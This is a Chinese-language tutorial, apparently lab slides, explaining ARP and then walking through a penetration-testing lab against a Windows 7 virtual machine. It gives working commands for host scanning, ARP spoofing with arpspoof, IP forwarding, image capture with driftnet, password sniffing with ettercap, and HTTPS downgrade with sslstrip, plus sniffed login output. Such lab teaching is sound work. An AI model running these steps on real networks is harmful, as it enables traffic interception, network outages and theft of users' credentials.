地址解析协议 ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个 TCP/IP协议。
主机
发送信息时将包含目标
IP
地址的
ARP
请求广播到网络上的所有主机,并接收返回消息,
以此确定目标的物理地址;收到返回消息后将该
IP
地址和物理地址存入本机
ARP
缓存中并保
留一定时间,下次请求时直接查询
ARP
缓存以节约资源。
ARP协议的基本功能
通过目标设备的IP地址,查询目标
设备的MAC地址,以保证通信的进
行。
基本功能
局限性:仅能在局域网进行。
ARP缓存表
ARP缓存表是个用来储存IP地址和MAC地址的
缓冲区
,其本质就是一
个IP地址-->MAC地址的对应表,表中每一个条目分别记录了网络上
其他主机的IP地址和对应的MAC地址。
每一个以太网都有自己单独的表。当地址解析协议被询问一个已知IP
地址
节点
的MAC地址时,先在ARP缓存表中查看,若存在,就直接返
回与之对应的MAC地址,若不存在,才发送ARP请求向
局域网
查询。
ARP常用命令
arp -a
或
arp –g
用于查看缓存中的所有项目。
-a
和
-g
参数的结果是一样的,
多年来
-g
一直是
UNIX
平台上用来显示
ARP
缓存中所有项目
的选项,而
Windows
用的是
arp -a
(
-a
可被视为
all
,即全部
的意思),但它也可以接受比较传统的
-g
选项。
arp -a ip
如果有多个网卡,那么使用
arp -a
加上接口的
IP
地址,
就可以只显示与该接口相关的
ARP
缓存项目。
ARP欺骗(英语:ARP spoofing),又称
ARP毒化
(ARP
poisoning,网上上多译为ARP病毒)或ARP攻击,是针对
以
太网地址解析协议
(
ARP
)的一种攻击技术,通过欺骗局域
网内访问者PC的网关MAC地址,使访问者PC错以为攻击者
更改后的MAC地址是网关的MAC,导致网络不通。此种攻
击可让攻击者获取
局域网
上的数据包甚至可篡改数据包,
且可让网上上特定计算机或所有计算机无法正常连线。
常见的ARP欺骗手法:同时对局域网内的一台主机和网关进
行ARP欺骗,更改这台主机和网关的ARP缓存表。
攻击主机PC2发送ARP应答包给被攻击主机PC1和网关,分
别修改它们的ARP缓存表, 将它们的ip地址所对应的MAC地
址,全修改为攻击主机PC2的MAC地址,这样它们之间数据
都被攻击主机PC2截获。
渗透测试实战之(1.ARP断网攻击 2.ARP欺骗攻击)
先学断网,在学欺骗(这个实验先断网才能欺骗)
实验环境:
1. 软件:VMware Workstations14以上版本
2. 虚拟机:Kali-Linux、Windows 7
1) 打开虚拟机:启动kali-linux 启动windows7(未装补丁)
2) 获取IP地址(ifconfig、ipconfig)
Kali-Linux :192.168.111.130
Windows 7: 192.168.111.129
在虚拟机环境下配置 “Win7”和“Kali Linux”2个虚拟系统,使得虚拟系统之间能够相互通信。
实验步骤
具体攻击实现
具体的中间人攻击,大体上可以分为以下几个步骤:
1. 对目标主机进行ARP欺骗,声称自己是网关。
2. 转发目标的NAT数据到网关,维持目标的外出数据。
3. 对网关进行ARP欺骗,声称自己是目标主机。
4. 转发网关的NAT数据到目标主机,维持目标的接收数据。
5. 监听劫持或者修改目标的进入和外出数据,从而实现攻击。
其中1,3都是ARP欺骗;2,4都是转发,下面会分别说到。
1、断网攻击实施步骤
步骤1:在Win7中,在命令提示符中输入命令“ipconfig /all”查看自身的MAC地址和网关IP地址。然后输入命令“ arp –a”查看ARP缓存表中的网关MAC地址。
步骤2:在kali终端中,输入命令“ifconfig”,查看kali的IP地址与MAC地址,如图所示。
步骤3:主机扫描
方法1:执行ping扫描最简单的方法是使用工具fping,fping使用ICMP ECHO一次请求多个主机,对当前局域网还存在那些主机进行快速扫描,以确定要攻击的主机的ip地址。
fping -a -g 192.168.254.0/24 > result
#使用fping工具扫描了192.168.254.0/24网段内的所有主机,并将扫描结果输出到result文件中。其中,-a参数表示只输出活动的主机,-g参数表示扫描整个网段。
方法2:执行nmap -sP 192.168.254.0/24,扫描网络中活跃的主机。(推荐使用)
-sP 选项表示只利用ping扫描进行主机发现,不进行端口扫描
-sS 进行TCP的半开放扫描,如果禁ping的时候可以使用这个参数
注:用nmap进行主机扫描速度快,而且能穿透防火墙,是比较可靠的扫描工具。
步骤4:arpspoof 是一款进行arp欺骗的工具,攻击者通过毒化受害者arp缓存,将网关mac替换为攻击者mac,然后攻击者可截获受害者发送和收到的数据包,可获取受害者账户、密码等相关敏感信息。
注意:
运行 arpspoof 命令时提示:arpspoof未找到命令,其原因是你还未安装 arpspoof 工具;
arpspoof 是 dsniff 的一个附属工具,所以我们需要安装的是 dsniff :使用以下命令安装dsniff:apt-get install dsniff
步骤5-1:更换更新源为阿里云,原有的更新源加#号注释
#vim /etc/apt/sources.list
deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
步骤5-2:修改完成后执行apt-get update命令完成更新
步骤5-3:重新安装命令,apt-get install dsniff
命令格式:arpspoof -h #查看arpspoof版本信息
-i 后面的参数是网卡名称
-t 后面的参数是目的主机和网关,截获目的主机发往网关的数据包
步骤6:断网攻击:arpspoof -i eth0 -t 192.168.254.129 192.168.254.2
1)可以看到,当ARP攻击开始时,就出现了请求超时的提示(-t 持续ping,需手动结束)
2)arp -a 查看靶机网关mac地址的变化
3)此时再次到win7上测试网络,如无特殊情况,win7 已经无法连接到互联网了,状态如下:
2、arp欺骗
Arp欺骗:目标ip的流量经过我的网卡,从网关出去。
Arp断网:目标ip的流量经过我的网卡
1. echo 1 >/proc/sys/net/ipv4/ip_forward
设置ip流量转发,不会出现断网现象
有时不能这样直接修改,还有另外一种方法
修改/etc/sysctl.conf文件,使得net.ipv4.ip_forward = 1;等于0为不转发。然后更新使用命令 sysctl -p
3.攻击利用
此时,win7和网关通信的数据包都会流经kali,
kali 中利用driftnet工具,可以捕获win7机器正在浏览的图片
Driftnet是一个监听网络流量并从它观察到的TCP流中提取图像的程序。
在命令行输入:
apt-get install driftnet
driftnet -i eth0
当我使用win7上网时,从图中可以看出,kali 正在不断地捕获win7和网卡之间的数据包(其中有警告:图片太小没法抓取)
Driftnet是一个监听网络流量并从它观察到的TCP流中提取图像的程序。
只能抓取http协议网址下的图片:
测试网站:
后台登录
http://www.win4000.com/
元气桌面壁纸官网——动态壁纸桌面—高清壁纸下载
实验2:HTTP账户密码获取
目标机器:192.168.237.131
网关:192.168.237.2
Kali攻击机:192.168.237.129
1.开始arp欺骗:arpspoof -i eth0 -t 192.168.237.131 192.168.237.2
03:
ettercap:一个基于ARP地址欺骗方式的网络嗅探工具,主要适用于交换局域网络。
借助于EtterCap嗅探软件,渗透测试人员可以检测网络内明
文数据通讯的安全性,及时采取措施,避免敏感的用户名/
密码等数据以明文的方式进行传输。ettercap几乎是每个渗
透测试人员必备的工具之一。
ettercap -Tq -i eth0
-T 文本模式输出,不使用图形用户界面 -q 静默模式
-i 指定要监听的网络接口
03
综合应用-HTTP账户密码获取
1.启动:ettercap -Tq -i eth0
03
综合应用-HTTP账户密码获取
2.受害者访问登录网址,输入用户名及密码。这里我输入zhangsan/123456
03
返回kali攻击机,查看记录。
HTTP : 118.24.112.177:80 -> USER: zhangsan PASS: 12345678 INFO:
http://a.aixjt.com/AdminPublic.html
CONTENT:
ajax=1&submitLogin=1&password=12345678&account=zhangsan&verify=3487
实验3:HTTPS账户密码获取
SSL原理
SSL的作用是为了传输一些敏感信息(比如凭证账号密码)提供安全可靠的保障,确保用户使用浏览器和服务器之间传输的数据是安全可信的
当我们访问HTTPS类型的网站,浏览器首先是向服务器发送HTTP层面的请求,并且附带证书验证,在得到双方证书有效后,两者开始SSL安全通信。
1.实验步骤
先编辑下/etc/ettercap/etter.conf
命令:vim /etc/ettercap/etter.conf
把以下四行#去掉
进入vim状态:
按下i,进入编辑
2.开启ARP欺骗
arpspoof -t 目标 网关 -i 设备
3.启动sslstrip
sslstrip -a -f -k
4.利用ettercap进行https/http密码嗅探
ettercap -Tq -i 攻击机网络名